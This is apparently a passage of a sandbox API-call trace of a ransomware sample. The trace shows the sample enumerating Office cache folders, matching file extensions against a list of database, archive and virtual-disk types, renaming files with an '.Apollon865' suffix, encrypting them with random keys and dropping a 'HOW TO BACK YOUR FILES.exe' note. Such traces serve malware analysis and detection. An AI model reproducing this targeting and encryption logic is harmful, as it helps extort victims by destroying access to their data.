	[0078.970] lstrlenW (lpString="ckp") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.970] lstrlenW (lpString="cma") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.970] lstrlenW (lpString="cpd") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.970] lstrlenW (lpString="dacpac") returned 6
	[0078.970] lstrcmpiW (lpString1="of.msi", lpString2="dacpac") returned 1
	[0078.970] lstrlenW (lpString="dad") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.970] lstrlenW (lpString="dadiagrams") returned 10
	[0078.970] lstrlenW (lpString="daschema") returned 8
	[0078.970] lstrcmpiW (lpString1="roof.msi", lpString2="daschema") returned 1
	[0078.970] lstrlenW (lpString="db-journal") returned 10
	[0078.970] lstrlenW (lpString="db-shm") returned 6
	[0078.970] lstrcmpiW (lpString1="of.msi", lpString2="db-shm") returned 1
	[0078.970] lstrlenW (lpString="db-wal") returned 6
	[0078.970] lstrcmpiW (lpString1="of.msi", lpString2="db-wal") returned 1
	[0078.970] lstrlenW (lpString="dbc") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.970] lstrlenW (lpString="dbs") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.970] lstrlenW (lpString="dbt") returned 3
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.971] lstrlenW (lpString="dbv") returned 3
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.971] lstrlenW (lpString="dbx") returned 3
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.971] lstrlenW (lpString="dcb") returned 3
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0078.971] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0078.971] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0078.971] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml"
	[0078.971] lstrlenW (lpString="Proof.xml") returned 9
	[0078.971] lstrlenW (lpString="Apollon865") returned 10
	[0078.971] lstrlenW (lpString=".dll") returned 4
	[0078.971] lstrcmpiW (lpString1="Proof.xml", lpString2=".dll") returned 1
	[0078.971] lstrlenW (lpString=".lnk") returned 4
	[0078.972] lstrcmpiW (lpString1="Proof.xml", lpString2=".lnk") returned 1
	[0078.972] lstrlenW (lpString=".ini") returned 4
	[0078.972] lstrcmpiW (lpString1="Proof.xml", lpString2=".ini") returned 1
	[0078.972] lstrlenW (lpString=".sys") returned 4
	[0078.972] lstrcmpiW (lpString1="Proof.xml", lpString2=".sys") returned 1
	[0078.972] lstrlenW (lpString="Proof.xml") returned 9
	[0078.972] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.Apollon865") returned 92
	[0078.972] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0078.974] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1347) returned 1
	[0078.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf810
	[0078.975] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfa30) returned 1
	[0078.976] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.976] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.976] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0xc0
	[0078.980] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000
	[0078.981] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfa30) returned 1
	[0078.982] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.982] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.982] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.982] CloseHandle (hObject=0xc0) returned 1
	[0078.982] CloseHandle (hObject=0x150) returned 1
	[0078.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0078.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.983] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0
	[0078.983] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.983] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0078.983] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C"
	[0078.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0078.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0078.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned 62
	[0078.983] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C"
	[0078.983] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.983] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.988] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.988] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4727c590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4727c590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.988] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.988] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.988] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.988] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4727c590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4727c590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.988] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.988] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.988] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.988] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.988] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4727c590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4727c590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.989] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.989] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0078.989] lstrlenW (lpString="Setup.xml") returned 9
	[0078.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.989] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.989] lstrlenW (lpString="Setup.xml") returned 9
	[0078.989] lstrlenW (lpString="Apollon865") returned 10
	[0078.989] lstrlenW (lpString=".dll") returned 4
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.989] lstrlenW (lpString=".lnk") returned 4
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.989] lstrlenW (lpString=".ini") returned 4
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.989] lstrlenW (lpString=".sys") returned 4
	[0078.989] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.989] lstrlenW (lpString="Setup.xml") returned 9
	[0078.989] lstrlenW (lpString="bak") returned 3
	[0078.989] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.989] lstrlenW (lpString="ba_") returned 3
	[0078.989] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.989] lstrlenW (lpString="dbb") returned 3
	[0078.989] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.989] lstrlenW (lpString="vmdk") returned 4
	[0078.989] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.990] lstrlenW (lpString="rar") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.990] lstrlenW (lpString="zip") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.990] lstrlenW (lpString="tgz") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.990] lstrlenW (lpString="vbox") returned 4
	[0078.990] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.990] lstrlenW (lpString="vdi") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.990] lstrlenW (lpString="vhd") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.990] lstrlenW (lpString="vhdx") returned 4
	[0078.990] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.990] lstrlenW (lpString="avhd") returned 4
	[0078.990] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.990] lstrlenW (lpString="db") returned 2
	[0078.990] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.990] lstrlenW (lpString="db2") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.990] lstrlenW (lpString="db3") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.990] lstrlenW (lpString="dbf") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.990] lstrlenW (lpString="mdf") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.990] lstrlenW (lpString="mdb") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.990] lstrlenW (lpString="sql") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.990] lstrlenW (lpString="sqlite") returned 6
	[0078.990] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1
	[0078.990] lstrlenW (lpString="sqlite3") returned 7
	[0078.990] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1
	[0078.990] lstrlenW (lpString="sqlitedb") returned 8
	[0078.990] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1
	[0078.990] lstrlenW (lpString="xml") returned 3
	[0078.990] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.990] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.991] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0078.991] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2424) returned 1
	[0078.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf678
	[0078.992] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf810) returned 1
	[0078.992] CryptGenRandom (in: hProv=0x5bf810, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.993] CryptReleaseContext (hProv=0x5bf810, dwFlags=0x0) returned 1
	[0078.993] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc80, lpName=0x0) returned 0xc0
	[0078.994] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc80) returned 0x100000
	[0078.995] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf810) returned 1
	[0078.995] CryptGenRandom (in: hProv=0x5bf810, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.995] CryptReleaseContext (hProv=0x5bf810, dwFlags=0x0) returned 1
	[0078.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.996] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.996] CloseHandle (hObject=0xc0) returned 1
	[0078.996] CloseHandle (hObject=0x10c) returned 1
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0078.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.996] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1
	[0078.996] lstrcmpiW (lpString1="WordLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.996] lstrcmpiW (lpString1="WordLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.996] lstrcmpiW (lpString1="WordLR.cab", lpString2=".") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="..") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="windows") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="bootmgr") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="temp") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="pagefile.sys") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="boot") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="ids.txt") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="ntuser.dat") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="perflogs") returned 1
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2="MSBuild") returned 1
	[0078.997] lstrlenW (lpString="WordLR.cab") returned 10
	[0078.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0078.997] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WordLR.cab" | out: lpString1="WordLR.cab") returned="WordLR.cab"
	[0078.997] lstrlenW (lpString="WordLR.cab") returned 10
	[0078.997] lstrlenW (lpString="Apollon865") returned 10
	[0078.997] lstrlenW (lpString=".dll") returned 4
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2=".dll") returned 1
	[0078.997] lstrlenW (lpString=".lnk") returned 4
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2=".lnk") returned 1
	[0078.997] lstrlenW (lpString=".ini") returned 4
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2=".ini") returned 1
	[0078.997] lstrlenW (lpString=".sys") returned 4
	[0078.997] lstrcmpiW (lpString1="WordLR.cab", lpString2=".sys") returned 1
	[0078.997] lstrlenW (lpString="WordLR.cab") returned 10
	[0078.997] lstrlenW (lpString="bak") returned 3
	[0078.997] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.997] lstrlenW (lpString="ba_") returned 3
	[0078.997] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.997] lstrlenW (lpString="dbb") returned 3
	[0078.997] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.997] lstrlenW (lpString="vmdk") returned 4
	[0078.997] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.997] lstrlenW (lpString="rar") returned 3
	[0078.997] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.997] lstrlenW (lpString="zip") returned 3
	[0078.997] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.997] lstrlenW (lpString="tgz") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.998] lstrlenW (lpString="vbox") returned 4
	[0078.998] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.998] lstrlenW (lpString="vdi") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.998] lstrlenW (lpString="vhd") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.998] lstrlenW (lpString="vhdx") returned 4
	[0078.998] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.998] lstrlenW (lpString="avhd") returned 4
	[0078.998] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.998] lstrlenW (lpString="db") returned 2
	[0078.998] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.998] lstrlenW (lpString="db2") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.998] lstrlenW (lpString="db3") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.998] lstrlenW (lpString="dbf") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.998] lstrlenW (lpString="mdf") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.998] lstrlenW (lpString="mdb") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.998] lstrlenW (lpString="sql") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.998] lstrlenW (lpString="sqlite") returned 6
	[0078.998] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0078.998] lstrlenW (lpString="sqlite3") returned 7
	[0078.998] lstrcmpiW (lpString1="dLR.cab", lpString2="sqlite3") returned -1
	[0078.998] lstrlenW (lpString="sqlitedb") returned 8
	[0078.998] lstrcmpiW (lpString1="rdLR.cab", lpString2="sqlitedb") returned -1
